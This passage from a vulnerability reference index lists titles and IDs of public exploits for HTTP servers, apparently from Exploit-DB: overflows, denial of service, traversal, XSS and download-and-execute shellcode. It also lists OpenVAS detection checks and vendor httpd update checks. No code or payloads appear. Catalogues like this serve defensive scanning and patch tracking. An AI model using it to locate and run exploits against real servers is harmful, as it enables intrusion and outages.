14358| [20557] Omnicron OmniHTTPD 2.0.7 File Corruption and Command Execution Vulnerability
14359| [20531] IBM HTTP Server 1.3 AfpaCache/WebSphereNet.Data DoS Vulnerability
14360| [20449] GlimpseHTTP 1.0/2.0 and WebGlimpse 1.0 Piped Command Vulnerability
14361| [20435] Apache 0.8.x/1.0.x,NCSA httpd 1.x test-cgi Directory Listing Vulnerability
14362| [20423] NCSA httpd-campas 1.2 sample script Vulnerability
14363| [20403] Small HTTP server 2.0 1 Non-Existent File DoS Vulnerability
14364| [20323] "Cisco IOS 12 Software ""?/"" HTTP Request DoS Vulnerability"
14365| [20304] Omnicron OmniHTTPD 1.1/2.0 Alpha 1 visiadmin.exe Denial of Service Vulnerability
14366| [20242] Unixware 7.0 SCOhelp HTTP Server Format String Vulnerability
14367| [20220] Mandrake 6.1/7.0/7.1 /perl http Directory Disclosure Vulnerability
14368| [20120] httpdx <= 1.5.4 - Remote Heap Overflow
14369| [20054] West Street Software LocalWEB HTTP Server 1.2 - Buffer Overflow
14370| [20017] Max Feoktistov Small HTTP server 1.212 Buffer Overflow
14371| [19988] httpdx 1.5.4 - Remote HTTP Server Denial of Service
14372| [19882] Cisco IOS 11.x/12.x HTTP %% Vulnerability
14373| [19866] DomsHttpd <= 1.0 - Remote Denial of Service Exploit
14374| [19637] MS IE 5.0 for Windows 2000/95/98/NT 4 XML HTTP Redirect Vulnerability
14375| [19587] AN-HTTPd 1.2 b CGI Vulnerabilities
14376| [19566] Omnicron OmniHTTPD 1.1/2.4 Pro Buffer Overflow Vulnerability
14377| [19536] Apache <= 1.1,NCSA httpd <= 1.5.2,Netscape Server 1.12/1.1/2.0 a nph-test-cgi Vulnerability
14378| [19253] Debian Linux 2.1 httpd Vulnerability
14379| [18629] Tiny Server <= 1.1.9 HTTP HEAD DoS
14380| [18604] NetDecision 4.5.1 HTTP Server Buffer Overflow
14381| [18541] Netmechanica NetDecision HTTP Server Denial of Service Vulnerability
14382| [18524] Tiny HTTP Server <= 1.1.9 - Remote Crash PoC
14383| [18457] torrent-stats httpd.c Denial of Service
14384| [18442] Apache httpOnly Cookie Disclosure
14385| [18295] lighttpd Denial of Service Vulnerability PoC
14386| [18221] Apache HTTP Server Denial of Service
14387| [18120] FleaHttpd Remote Denial of Service Exploit
14388| [17859] Toko Lite CMS 1.5.2 (edit.php) HTTP Response Splitting Vulnerability
14389| [17721] Sunway Force Control SCADA 6.1 SP3 httpsrv.exe Exploit
14390| [17696] Apache httpd Remote Denial of Service (memory exhaustion)
14391| [17669] Simple HTTPd 1.42 PUT Request Remote Buffer Overflow Vulnerability
14392| [17658] Simple HTTPd 1.42 Denial of Servive Exploit
14393| [17563] Download Accelerator plus (DAP) 9.7 - M3U File Buffer Overflow Exploit (Unicode SEH)
14394| [17393] Oracle HTTP Server XSS Header Injection
14395| [17200] ZenPhoto 1.4.0.3 x-forwarded-for HTTP Header presisitent XSS
14396| [17068] jHTTPd 0.1a Directory Traversal Vulnerability
14397| [16970] Kolibri <= 2.0 - HTTP Server HEAD Buffer Overflow
14398| [16959] Oracle WebLogic Session Fixation Via HTTP POST
14399| [16874] MacOS X EvoCam HTTP GET Buffer Overflow
14400| [16856] DD-WRT HTTP Daemon Arbitrary Command Execution
14401| [16809] Oracle 9i XDB HTTP PASS Overflow (win32)
14402| [16802] Webster HTTP Server GET Buffer Overflow
14403| [16800] Streamcast <= 0.9.75 HTTP User-Agent Buffer Overflow
14404| [16799] HTTPDX h_handlepeer() Function Buffer Overflow
14405| [16794] HTTPDX tolog() Function Format String Vulnerability
14406| [16759] SHTTPD <= 1.34 URI-Encoded POST Request Overflow (win32)
14407| [16732] HTTPDX tolog() Function Format String Vulnerability
14408| [16598] Persits XUpload ActiveX MakeHttpRequest Directory Traversal
14409| [16532] Internet Explorer XML Core Services HTTP Request Handling
14410| [16526] Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP)
14411| [16513] Ultra Shareware Office Control ActiveX HttpUpload Buffer Overflow
14412| [16199] Icy Phoenix 1.3.0.53a HTTP Referer stored XSS
14413| [16128] jakcms 2.0 pro rc5 - Stored XSS via useragent http header injection
14414| [16103] Majordomo2 - Directory Traversal (SMTP/HTTP)
14415| [16078] SDP Downloader 2.3.0 (http_response) Remote Buffer Overflow Exploit
14416| [16075] Caedo HTTPd Server 0.5.1 ALPHA - Remote File Download
14417| [15981] LifeType 1.2.10 HTTP Referer stored XSS
14418| [15861] httpdasm 0.92 - Directory Traversal
14419| [15821] HttpBlitz Web Server Denial of Service Exploit
14420| [15422] Sami HTTP Server 2.0.1 GET Request Denial of Service Exploit
14421| [15307] HP Data Protector Media Operations 6.11 HTTP Server Remote Integer Overflow DoS
14422| [15290] Oracle Sun Java System Web Server - HTTP Response Splitting
14423| [14941] Integard Home and Pro 2 - Remote HTTP Buffer Overflow Exploit
14424| [14938] Internet Download Accelerator 5.8 - Remote Buffer Overflow PoC
14425| [14840] Mereo 1.9.2 - Remote HTTP Server Denial of Service Vulnerability
14426| [14683] Httpdx 1.5.4 - Multiple Denial of Service Vulnerabilities (http-ftp) PoC
14427| [14645] Sports Accelerator Suite 2.0 - (news_id) Remote SQL Injection Vulnerability
14428| [14609] Msxml2.XMLHTTP.3.0 Response Handling Memory Corruption (MS10-051)
14429| [14522] Xerver 4.32 - Source Disclosure and HTTP Authentication Bypass
14430| [14496] UPlusFTP Server 1.7.1.01 - HTTP Remote Buffer Overflow (Post Auth)
14431| [14012] Weborf HTTP Server Denial of Service Vulnerability
14432| [13888] SasCam 2.6.5 - Remote HTTP Server Crash
14433| [13870] iOS QuickOffice 3.1.0 - HTTP Method Remote DoS
14434| [13774] Motorola SB5101 Hax0rware Rajko HTTPD Remote Exploit PoC
14435| [13380] linux/x86 HTTP/1.x GET, Downloads and JMP - 68 bytes+
14436| [13355] linux/x86 HTTP/1.x GET, Downloads and execve() 111 bytes+
14437| [13308] linux/x86 shellcode that forks a HTTP Server on port tcp/8800 166 bytes
14438| [13288] Utility for generating HTTP/1.x requests for shellcodes
14439| [12804] nginx [engine x] http server <= 0.6.36 Path Draversal
14440| [12531] GeoHttpServer Remote DoS Vulnerability
14441| [12331] MultiThreaded HTTP Server 1.1 - Directory Traversal
14442| [12308] MultiThreaded HTTP Server 1.1 - Source Disclosure
14443| [12304] MultiThreaded HTTP Server 1.1 - Directory Traversal
14444| [11856] uhttp Server Path Traversal Vulnerability
14445| [11734] httpdx 1.5.3b - Multiple Remote Pre-Authentication DoS (PoC)
14446| [11597] RCA DCM425 Cable Modem micro_httpd DoS/PoC
14447| [11500] Easy~Ftp Server 1.7.0.2 - (HTTP) Remote BoF Exploit
14448| [11472] iOS FTP On The Go 2.1.2 - HTTP Remote DoS
14449| [11343] httpdx 1.5.2 - Remote Pre-Authentication DoS (PoC)
14450| [11273] iOS Serversman 3.1.5 - HTTP Remote DoS Exploit
14451| [11254] P2GChinchilla HTTP Server 1.1.1 - Denial of Service Exploit
14452| [11211] cPanel HTTP Response Splitting Vulnerability
14453| [11142] Multiple Media Player HTTP DataHandler Overflow (Itunes, Quicktime, etc)
14454| [10610] CoreHTTP Arbitrary Command Execution Vulnerability
14455| [10469] Monkey HTTP Daemon < 0.9.3 - Denial of Service Vulnerability
14456| [10349] CoreHTTP web server off-by-one buffer overflow vulnerability
14457| [10331] iWeb HTTP Server Directory Transversal Vulnerability
14458| [10282] OrzHTTPd Format String Exploit
14459| [10170] Xerver 4.31, 4.32 HTTP Response Splitting
14460| [10163] Novell eDirectory HTTPSTK Login Stack Overflow Vulnerability
14461| [10053] httpdx 1.4 Get Request Buffer Overflow
14462| [10047] Femitter HTTP Server 1.03 Remote Source Disclosure
14463| [10030] DD-WRT HTTP v24-SP1 - Command Injection Vulnerability
14464| [9896] MiniShare HTTP 1.5.5 BoF
14465| [9886] httpdx 1.4 h_handlepeer BoF
14466| [9885] httpdx <= 1.4.6b source disclosure
14467| [9718] Xerver HTTP Server 4.32 - XSS / Directory Traversal Vulnerability
14468| [9717] Xerver HTTP Server <= 4.32 - Remote Denial of Service
14469| [9660] Techlogica HTTP Server 1.03 Arbitrary File Disclosure Exploit
14470| [9657] httpdx Web Server 1.4 (Host Header) Remote Format String DoS Exploit
14471| [9649] Xerver HTTP Server 4.32 Arbitrary Source Code Disclosure Vuln
14472| [9549] MailEnable 1.52 HTTP Mail Service Stack BOF Exploit PoC
14473| [9478] HTTP SERVER (httpsv) 1.6.2 (GET 404) Remote Denial of Service Exploit
14474| [9209] DD-WRT (httpd service) Remote Command Execution Vulnerability
14475| [8991] Multiple HTTP Server Low Bandwidth Denial of Service #2
14476| [8976] Multiple HTTP Server Low Bandwidth Denial of Service (slowloris.pl)
14477| [8897] httpdx <= 0.8 FTP Server Delete/Get/Create Directories/Files Exploit
14478| [8786] Lighttpd < 1.4.23 Source Code Disclosure Vulnerability (BSD/Solaris bug)
14479| [8732] httpdx <= 0.5b FTP Server (CWD) Remote BOF Exploit (SEH)
14480| [8716] httpdx <= 0.5b FTP Server (USER) Remote BOF Exploit (SEH)
14481| [8712] httpdx <= 0.5b Multiple Remote Denial of Service Vulnerabilities
14482| [8554] Belkin Bulldog Plus HTTP Server Remote Buffer Overflow Exploit
14483| [8522] Zervit HTTP Server <= 0.3 (sockets++ crash) Remote Denial of Service
14484| [8422] Steamcast (HTTP Request) Remote Buffer Overflow Exploit (SEH) [2]
14485| [8421] Steamcast (HTTP Request) Remote Buffer Overflow Exploit (SEH) [1]
14486| [8313] Check Point Firewall-1 PKI Web Service HTTP Header Remote Overflow
14487| [8310] Sami HTTP Server 2.x (HEAD) Remote Denial of Service Exploit
14488| [8245] SW-HTTPD Server 0.x Remote Denial of Service Exploit
14489| [8196] Wordpress MU < 2.7 'HOST' HTTP Header XSS Vulnerability
14490| [8097] MLdonkey <= 2.9.7 HTTP DOUBLE SLASH Arbitrary File Disclosure Vuln
14491| [8041] GeoVision Digital Video Surveillance System (geohttpserver) DT Vuln
14492| [8021] Squid < 3.1 5 - HTTP Version Number Parsing Denial of Service Exploit
14493| [7762] EDraw Office Viewer 5.4 HttpDownloadFile() Insecure Method Vuln
14494| [7535] Linksys Wireless ADSL Router (WAG54G V.2) httpd DoS Exploit
14495| [6493] fhttpd 0.4.2 un64() - Remote Denial of Service Exploit
14496| [6477] Cisco Router HTTP Administration CSRF Command Execution Exploit 2
14497| [6476] Cisco Router HTTP Administration CSRF Command Execution Exploit
14498| [6394] Samsung DVR SHR2040 HTTPD Remote Denial of Service DoS PoC
14499| [6227] IntelliTamper 2.07 HTTP Header Remote Code Execution Exploit
14500| [6216] Download Accelerator Plus - DAP 8.6 (AniGIF.ocx) Buffer Overflow PoC
14501| [6039] Download Accelerator Plus - DAP 8.x m3u File Buffer Overflow Exploit (c)
14502| [6030] Download Accelerator Plus - DAP 8.x (m3u) Local BOF Exploit 0day
14503| [5918] uTorrent / BitTorrent WebIU HTTP 1.7.7/6.0.1 Range header DoS Exploit
14504| [5547] Novell eDirectory < 8.7.3 SP 10 / 8.8.2 - HTTP headers DoS Vulnerability
14505| [5519] VLC 0.8.6d - httpd_FileCallBack Remote Format String Exploit
14506| [5344] Novel eDirectory HTTP Denial of Service Exploit
14507| [5338] ChilkatHttp ActiveX 2.3 Arbitrary Files Overwrite Exploit
14508| [5215] Ruby 1.8.6 (Webrick Httpd 1.3.1) Directory Traversal Vulnerability
14509| [4747] RaidenHTTPD 2.0.19 (ulang) Remote Command Execution Exploit
14510| [4717] Simple HTTPD <= 1.41 (/aux) Remote Denial of Service Exploit
14511| [4700] simple httpd <= 1.38 Multiple Vulnerabilities
14512| [4542] Boa 0.93.15 HTTP Basic Authentication Bypass Exploit
14513| [4437] Lighttpd <= 1.4.17 FastCGI Header Overflow Remote Exploit
14514| [4426] Airsensor M520 HTTPD Remote Preauth DoS / BOF PoC
14515| [4391] Lighttpd <= 1.4.16 FastCGI Header Overflow Remote Exploit
14516| [4290] EDraw Office Viewer Component 5.1 HttpDownloadFile() Insecure Method
14517| [4243] corehttp 0.5.3alpha (httpd) Remote Buffer Overflow Exploit
14518| [4200] Versalsoft HTTP File Uploader AddFile() Remote Buffer Overflow Exploit
14519| [4056] Internet Download Accelerator 5.2 - Remote Buffer Overflow PoC
14520| [4046] MiniWeb Http Server 0.8.x Remote Denial of Service Exploit
14521| [3866] Versalsoft HTTP File Upload ActiveX 6.36 (AddFile) Remote DoS Exploit
14522| [3715] Sami HTTP Server 2.0.1 POST Request Denial of Service Exploit
14523| [3674] Wserve HTTP Server 4.6 (Long Directory Name) Denial of Service Exploit
14524| [3346] PHP-Nuke <= 8.0 Final (HTTP Referers) Remote SQL Injection Exploit
14525| [3200] Apple CFNetwork HTTP Response Denial of Service Exploit (rb code)
14526| [3182] Sami HTTP Server 2.0.1 (HTTP 404 - Object not found) DoS Exploit
14527| [3078] Acunetix WVS <= 4.0 20060717 HTTP Sniffer Component Remote DoS
14528| [2974] Http explorer Web Server 1.02 Directory Transversal Vulnerability
14529| [2791] HTTP Upload Tool (download.php) Information Disclosure Vulnerability
14530| [2651] MiniHttpServer Web Forum & File Sharing Server 4.0 Add User Exploit
14531| [2482] SHTTPD 1.34 (POST) Remote Buffer Overflow Exploit
14532| [2328] RaidenHTTPD 1.1.49 (SoftParserFileXml) Remote Code Execution Exploit
14533| [2277] Streamripper <= 1.61.25 HTTP Header Parsing Buffer Overflow Exploit 2
14534| [2274] Streamripper <= 1.61.25 HTTP Header Parsing Buffer Overflow Exploit
14535| [1980] ImgSvr <= 0.6.5 (long http post) Denial of Service Exploit
14536| [1852] gxine 0.5.6 (HTTP Plugin) Remote Buffer Overflow PoC
14537| [1746] zawhttpd <= 0.8.23 (GET) Remote Buffer Overflow DoS
14538| [1396] MS Windows IIS Malformed HTTP Request Denial of Service Exploit (cpp)
14539| [1377] MS Windows IIS Malformed HTTP Request Denial of Service Exploit (pl)
14540| [1376] MS Windows IIS Malformed HTTP Request Denial of Service Exploit (c)
14541| [1365] Oracle 9.2.0.1 Universal XDB HTTP Pass Overflow Exploit
14542| [1274] Hasbani-WindWeb/2.0 - HTTP GET Remote DoS
14543| [1137] Acunetix HTTP Sniffer Denial of Service Exploit
14544| [1108] Small HTTP Server <= 3.05.28 Arbitrary Data Execution Exploit
14545| [1056] Apache <= 2.0.49 Arbitrary Long HTTP Headers Denial of Service
14546| [952] MailEnable Enterprise & Professional https Remote BoF Exploit
14547| [940] Sumus 0.2.2 httpd Remote Buffer Overflow Exploit
14548| [855] Apache <= 2.0.52 HTTP GET request Denial of Service Exploit
14549| [687] OpenText FirstClass 8.0 HTTP Daemon /Search Remote DoS
14550| [667] Jana Server <= 2.4.4 (http/pna) Denial of Service Exploit
14551| [570] WordPress Blog HTTP Splitting Vulnerability
14552| [371] Apache HTTPd Arbitrary Long HTTP Headers DoS (c version)
14553| [360] Apache HTTPd Arbitrary Long HTTP Headers DoS
14554| [358] Lexmark Multiple HTTP Servers Denial of Service Vulnerability
14555| [77] Cisco IOS 12.x/11.x HTTP Remote Integer Overflow Exploit
14556| [9] Apache HTTP Server 2.x Memory Leak Exploit
14557|
14558| OpenVAS (Nessus) - http://www.openvas.org:
14559| [902830] Apache HTTP Server 'httpOnly' Cookie Information Disclosure Vulnerability
14560| [902825] at32 Reverse Proxy Multiple HTTP Header Fields Denial Of Service Vulnerability
14561| [902820] Tiny Server HTTP HEAD Request Remote Denial of Service Vulnerability
14562| [902664] Apache Traffic Server HTTP Host Header Denial of Service Vulnerability
14563| [902579] APC PowerChute Network Shutdown HTTP Response Splitting Vulnerability
14564| [902526] Oracle HTTP Server 'Expect' Header Cross-Site Scripting Vulnerability
14565| [902437] Lil' HTTP Server Cross Site Scripting Vulnerability
14566| [902404] jHTTPd Directory Traversal Vulnerability
14567| [902171] Ipswitch WS_FTP Professional 'HTTP' Response Format String Vulnerability
14568| [901305] Microsoft Windows IP-HTTPS Component Security Feature Bypass Vulnerability (2765809)
14569| [901203] Apache httpd Web Server Range Header Denial of Service Vulnerability
14570| [901155] Integard Home and Pro HTTP Buffer Overflow Vulnerability
14571| [901104] Tembria Server Monitor HTTP Request Denial of Service Vulnerability
14572| [900832] Google Chrome 'JavaScript' And 'HTTPS' Multiple Vulnerabilities - Aug09
14573| [900349] CUPS HTTP Host Header DNS Rebinding Attacks
14574| [900325] Qbik WinGate HTTP Proxy Server Access Controls Bypass Vulnerability
14575| [900222] IBM HTTP Server mod_proxy Interim Responses DoS Vulnerability
14576| [900092] Windows HTTP Services Could Allow Remote Code Execution Vulnerabilities (960803)
14577| [881450] CentOS Update for httpd CESA-2011:1392 centos4 x86_64
14578| [881436] CentOS Update for httpd CESA-2011:1392 centos5 x86_64
14579| [881394] CentOS Update for httpd CESA-2011:1245 centos4 x86_64
14580| [881089] CentOS Update for httpd CESA-2012:0128 centos6
14581| [881032] CentOS Update for httpd CESA-2011:1392 centos4 i386
14582| [881020] CentOS Update for httpd CESA-2011:1392 centos5 i386
14583| [880970] CentOS Update for httpd CESA-2011:1245 centos4 i386
14584| [880849] CentOS Update for httpd CESA-2009:1148 centos5 i386
14585| [880842] CentOS Update for httpd CESA-2009:1205 centos3 i386
14586| [880739] CentOS Update for httpd CESA-2009:1579 centos3 i386
14587| [880706] CentOS Update for httpd CESA-2009:1579 centos5 i386
14588| [880692] CentOS Update for httpd CESA-2009:1108 centos3 i386
14589| [880691] CentOS Update for httpd CESA-2009:1580 centos4 i386
14590| [880683] CentOS Update for httpd CESA-2009:1075 centos5 i386
14591| [880565] CentOS Update for httpd CESA-2010:0168 centos5 i386
14592| [880383] CentOS Update for httpd CESA-2010:0175 centos4 i386
14593| [880313] CentOS Update for httpd CESA-2008:0005 centos3 i386
14594| [880279] CentOS Update for httpd CESA-2008:0967 centos3 x86_64
14595| [880256] CentOS Update for httpd CESA-2008:0005 centos3 x86_64
14596| [880231] CentOS Update for httpd CESA-2008:0006 centos4 i386
14597| [880227] CentOS Update for httpd CESA-2008:0006 centos4 x86_64
14598| [880200] CentOS Update for httpd CESA-2008:0967 centos3 i386
14599| [880024] CentOS Update for httpd CESA-2008:0967 centos4 x86_64
14600| [880012] CentOS Update for httpd CESA-2008:0967 centos4 i386
14601| [870631] RedHat Update for httpd RHSA-2012:0128-01
14602| [870617] RedHat Update for httpd RHSA-2011:1391-01
14603| [870571] RedHat Update for httpd RHSA-2012:0323-01
14604| [870505] RedHat Update for httpd RHSA-2011:1392-01
14605| [870487] RedHat Update for httpd RHSA-2011:1294-01
14606| [870479] RedHat Update for httpd RHSA-2011:1245-01
14607| [870314] RedHat Update for httpd RHSA-2010:0659-01
14608| [870241] RedHat Update for httpd RHSA-2010:0168-01
14609| [870239] RedHat Update for httpd RHSA-2010:0175-01
14610| [870119] RedHat Update for httpd RHSA-2008:0006-01
14611| [870081] RedHat Update for httpd RHSA-2008:0005-01
14612| [870034] RedHat Update for httpd RHSA-2008:0008-01
14613| [870016] RedHat Update for httpd RHSA-2008:0967-01
14614| [864921] Fedora Update for php-symfony2-HttpFoundation FEDORA-2012-19455
14615| [864918] Fedora Update for php-symfony2-HttpFoundation FEDORA-2012-19442
14616| [864589] Fedora Update for php-eaccelerator FEDORA-2012-10908
14617| [864528] Fedora Update for php-eaccelerator FEDORA-2012-9762
14618| [864513] Fedora Update for lighttpd FEDORA-2012-9040
14619| [864498] Fedora Update for lighttpd FEDORA-2012-9078
14620| [864331] Fedora Update for mozilla-https-everywhere FEDORA-2012-7051
14621| [864261] Fedora Update for php-eaccelerator FEDORA-2012-7586
14622| [864259] Fedora Update for php-eaccelerator FEDORA-2012-7567
14623| [864227] Fedora Update for php-eaccelerator FEDORA-2012-6911
14624| [864221] Fedora Update for php-eaccelerator FEDORA-2012-6907
14625| [864201] Fedora Update for mozilla-https-everywhere FEDORA-2012-7175
14626| [864197] Fedora Update for mozilla-https-everywhere FEDORA-2012-7136
14627| [863961] Fedora Update for httpd FEDORA-2012-1598
14628| [863892] Fedora Update for httpd FEDORA-2011-12667
14629| [863824] Fedora Update for php-eaccelerator FEDORA-2012-1262
14630| [863815] Fedora Update for php-eaccelerator FEDORA-2012-0504
14631| [863794] Fedora Update for php-eaccelerator FEDORA-2011-11464
14632| [863759] Fedora Update for httpd FEDORA-2012-1642
14633| [863740] Fedora Update for php-eaccelerator FEDORA-2012-1301
14634| [863706] Fedora Update for php-eaccelerator FEDORA-2012-0420
14635| [863523] Fedora Update for php-eaccelerator FEDORA-2011-11537
14636| [863518] Fedora Update for php-eaccelerator FEDORA-2011-11528
14637| [863514] Fedora Update for httpd FEDORA-2011-12715
14638| [863286] Fedora Update for httpcomponents-client FEDORA-2011-7747
14639| [862973] Fedora Update for php-eaccelerator FEDORA-2011-3666
14640| [862969] Fedora Update for php-eaccelerator FEDORA-2011-3636
14641| [862814] Fedora Update for php-eaccelerator FEDORA-2011-0321
14642| [862809] Fedora Update for php-eaccelerator FEDORA-2011-0329
14643| [862778] Fedora Update for php-eaccelerator FEDORA-2010-18976
14644| [862777] Fedora Update for php-eaccelerator FEDORA-2010-19011
14645| [862349] Fedora Update for php-eaccelerator FEDORA-2010-11481
14646| [862347] Fedora Update for php-eaccelerator FEDORA-2010-11428
14647| [862314] Fedora Update for httpd FEDORA-2010-12478
14648| [862126] Fedora Update for httpd FEDORA-2010-6055
14649| [861951] Fedora Update for lighttpd FEDORA-2010-7636
14650| [861946] Fedora Update for lighttpd FEDORA-2010-7643
14651| [861929] Fedora Update for httpd FEDORA-2010-6131
14652| [861746] Fedora Update for httpd FEDORA-2009-12747
14653| [861534] Fedora Update for httpd FEDORA-2007-2214
14654| [861479] Fedora Update for lighttpd FEDORA-2007-1299
14655| [861373] Fedora Update for httpd FEDORA-2007-0704
14656| [861345] Fedora Update for httpd FEDORA-2007-707
14657| [861325] Fedora Update for httpd FEDORA-2007-617
14658| [861246] Fedora Update for httpd FEDORA-2007-615
14659| [861123] Fedora Update for lighttpd FEDORA-2007-2132
14660| [860849] Fedora Update for lighttpd FEDORA-2008-3376
14661| [860683] Fedora Update for lighttpd FEDORA-2008-3343
14662| [860638] Fedora Update for httpd FEDORA-2008-6393
14663| [860350] Fedora Update for httpd FEDORA-2008-1711
14664| [860293] Fedora Update for lighttpd FEDORA-2008-2262
14665| [860246] Fedora Update for lighttpd FEDORA-2008-2278
14666| [860205] Fedora Update for lighttpd FEDORA-2008-4119
14667| [860097] Fedora Update for httpd FEDORA-2008-6314
14668| [860087] Fedora Update for httpd FEDORA-2008-1695
14669| [855892] Solaris Update for Sun XVR-300 Graphics Accelerator 124149-16
14670| [855880] Solaris Update for Sun XVR-2500 Graphics Accelerator 120927-16
14671| [855879] Solaris Update for Sun XVR-2500 Graphics Accelerator 120928-32
14672| [855871] Solaris Update for Sun XVR-2500 Graphics Accelerator 120928-31
14673| [840915] Ubuntu Update for python-httplib2 USN-1375-1
14674| [831105] Mandriva Update for php-eaccelerator MDVA-2010:166-1 (php-eaccelerator)
14675| [831084] Mandriva Update for php-eaccelerator MDVA-2010:166 (php-eaccelerator)
14676| [803125] TVMOBiLi Media Server HTTP Request Multiple BOF Vulnerabilities
14677| [803080] Firefly MediaServer HTTP Header Multiple DoS Vulnerabilities
14678| [802966] PHP 'main/SAPI.c' HTTP Header Injection Vulnerability
14679| [802923] Null HTTPd Server Content-Length HTTP Header Buffer overflow Vulnerability
14680| [802838] Asterisk HTTP Manager Buffer Overflow Vulnerability
14681| [802737] Opera 'HTTPS-Session' Multiple Vulnerabilities (Linux)
14682| [802702] Google Chrome 'HTTP session' Information Disclosure Vulnerability (MAC OS X)
14683| [802701] Google Chrome 'HTTP session' Information Disclosure Vulnerability (Linux)
14684| [802700] Google Chrome 'HTTP session' Information Disclosure Vulnerability (Windows)
14685| [802617] NetDecision HTTP Server Long HTTP Request Remote Denial of Service Vulnerability
14686| [802614] Tiny HTTP Server Remote Denial of Service Vulnerability
14687| [802350] Mbedthis AppWeb HTTP TRACE Method Cross-Site Scripting Vulnerability
14688| [802156] Sunway ForceControl WebServer 'httpsvr.exe' Buffer Overflow Vulnerability
14689| [802143] Opera 'HTTPS-Session' Multiple Vulnerabilities (Mac OS X)
14690| [802141] Opera 'HTTPS-Session' Multiple Vulnerabilities (Windows)
14691| [802140] Microsoft Explorer HTTPS Sessions Multiple Vulnerabilities (Windows)
14692| [802044] Lighttpd Connection header Denial of Service Vulnerability
14693| [802010] Nostromo nhttpd Webserver Directory Traversal Vulnerability
14694| [801996] IBM HTTP Server Multiple Cross Site Scripting Vulnerabilities
14695| [801834] SDP Downloader HTTP Header Handling Buffer Overflow Vulnerability
14696| [801796] Python CGIHTTPServer Module Information Disclosure Vulnerability
14697| [801636] nginx HTTP Request Remote Buffer Overflow Vulnerability
14698| [801532] Oracle Java System Web Server HTTP Response Splitting Vulnerability
14699| [801526] Visual Synapse HTTP Server Directory Traversal Vulnerability
14700| [801246] bozotic HTTP server Information Disclosure Vulnerability
14701| [801245] bozotic HTTP server Denial of Service Vulnerability
14702| [801244] bozotic HTTP server Version Detection
14703| [801236] httpdx Multiple Vulnerabilities
14704| [801019] Xerver HTTP Server Source Code Disclosure Vulnerability
14705| [801018] Xerver HTTP Server Directory Traversal Vulnerability
14706| [801015] Xerver HTTP Server Cross Site Scripting Vulnerability
14707| [800962] httpdx Web Server 'h_handlepeer()' Buffer Overflow Vulnerability
14708| [800961] httpdx 'h_readrequest()' Host Header Format String Vulnerability
14709| [800827] Apache 'mod_proxy_http.c' Denial Of Service Vulnerability
14710| [800552] Versalsoft HTTP Image Uploader ActiveX Vulnerability
14711| [800447] Varnish Log Escape Sequence Injection Vulnerability
14712| [800446] Varnish Version Detection
14713| [800175] Xerver HTTP Server Web Administration Denial of Service Vulnerability
14714| [800144] Ruby on Rails redirect_to() HTTP Header Injection Vulnerability - Linux
14715| [800101] CA eTrust SCM Multiple HTTP Gateway Service Vulnerabilities
14716| [103470] nginx 'ngx_http_mp4_module.c' Buffer Overflow Vulnerability
14717| [103333] Apache HTTP Server 'ap_pregsub()' Function Local Denial of Service Vulnerability
14718| [103293] Apache HTTP Server 'mod_proxy' Reverse Proxy Information Disclosure Vulnerability
14719| [103240] HTTP Brute Force Logins with default Credentials
14720| [103119] nostromo nhttpd Directory Traversal Remote Command Execution Vulnerability
14721| [103050] Weborf 'get_param_value()' Function HTTP Header Handling Denial Of Service Vulnerability
14722| [103005] httpdASM Directory Traversal Vulnerability
14723| [103004] Mongoose 'Content-Length' HTTP Header Remote Denial Of Service Vulnerability
14724| [100949] HttpBlitz Server HTTP Request Remote Denial of Service Vulnerability
14725| [100878] Weborf HTTP Request Denial Of Service Vulnerability
14726| [100858] Apache 'mod_proxy_http' 2.2.9 for Unix Timeout Handling Information Disclosure Vulnerability
14727| [100788] Weborf HTTP 'modURL()' Function Directory Traversal Vulnerability
14728| [100777] Wing FTP Server HTTP Request Denial Of Service Vulnerability
14729| [100750] bozohttpd Security Bypass Vulnerability
14730| [100725] Apache HTTP Server Multiple Remote Denial of Service Vulnerabilities
14731| [100691] Weborf HTTP Header Processing Denial Of Service Vulnerability
14732| [100637] Zervit HTTP Server Source Code Information Disclosure Vulnerability
14733| [100620] OneHTTPD Directory Traversal Vulnerability
14734| [100617] PHP 'php_dechunk()' HTTP Chunked Encoding Integer Overflow Vulnerability
14735| [100585] HTTP File Server Security Bypass and Denial of Service Vulnerabilities
14736| [100560] uHTTP Server GET Request Directory Traversal Vulnerability
14737| [100553] Interchange HTTP Response Splitting Vulnerability
14738| [100548] Remote Help HTTP GET Request Format String Denial Of Service Vulnerability
14739| [100534] httpdx Multiple Remote Denial Of Service Vulnerabilities
14740| [100525] httpdx PNG File Handling Remote Denial of Service Vulnerability
14741| [100496] httpdx 'MKD' Command Directory Traversal Vulnerability
14742| [100491] httpdx 'USER' Command Remote Format String Vulnerability
14743| [100480] lighttpd Slow Request Handling Remote Denial Of Service Vulnerability
14744| [100459] XOOPS Arbitrary File Deletion and HTTP Header Injection Vulnerabilities
14745| [100449] Lighttpd 'mod_userdir' Case Sensitive Comparison Security Bypass Vulnerability
14746| [100447] Acme thttpd and mini_httpd Terminal Escape Sequence in Logs Command Injection Vulnerability
14747| [100421] httpdx Space Character Remote File Disclosure Vulnerability
14748| [100418] CoreHTTP CGI Support Remote Command Execution Vulnerability
14749| [100397] Monkey HTTP Daemon Invalid HTTP 'Connection' Header Denial Of Service Vulnerability
14750| [100379] Polipo Malformed HTTP GET Request Memory Corruption Vulnerability
14751| [100377] CoreHTTP 'src/http.c ' Buffer Overflow Vulnerability
14752| [100355] Xerver HTTP Response Splitting Vulnerability
14753| [100332] Serv-U Web Client HTTP Request Remote Buffer Overflow Vulnerability
14754| [100321] nginx 'ngx_http_process_request_headers()' Remote Buffer Overflow Vulnerability
14755| [100317] MapServer HTTP Request Processing Integer Overflow Vulnerability
14756| [100304] Acritum Femitter Server HTTP Request Remote File Disclosure Vulnerability
14757| [100278] BigAnt IM Server HTTP GET Request Buffer Overflow Vulnerability
14758| [100276] nginx HTTP Request Remote Buffer Overflow Vulnerability
14759| [100245] RaidenHTTPD Cross Site Scripting and Local File Include Vulnerabilities
14760| [100212] Lighttpd Trailing Slash Information Disclosure Vulnerability
14761| [100210] httpdx Multiple Commands Remote Buffer Overflow Vulnerabilities
14762| [100202] Matt Wright FormMail HTTP Response Splitting and Cross Site Scripting Vulnerabilities
14763| [100167] Zervit HTTP Server Malformed URI Remote Denial Of Service Vulnerability
14764| [100083] HTTP Proxy Server Detection
14765| [100057] MLdonkey HTTP Request Arbitrary File Download Vulnerability
14766| [100034] HTTP-Version Detection
14767| [80047] Abyss httpd crash
14768| [80010] HTTP NIDS evasion
14769| [72598] FreeBSD Ports: lighttpd
14770| [71965] Slackware Advisory SSA:2012-041-01 httpd
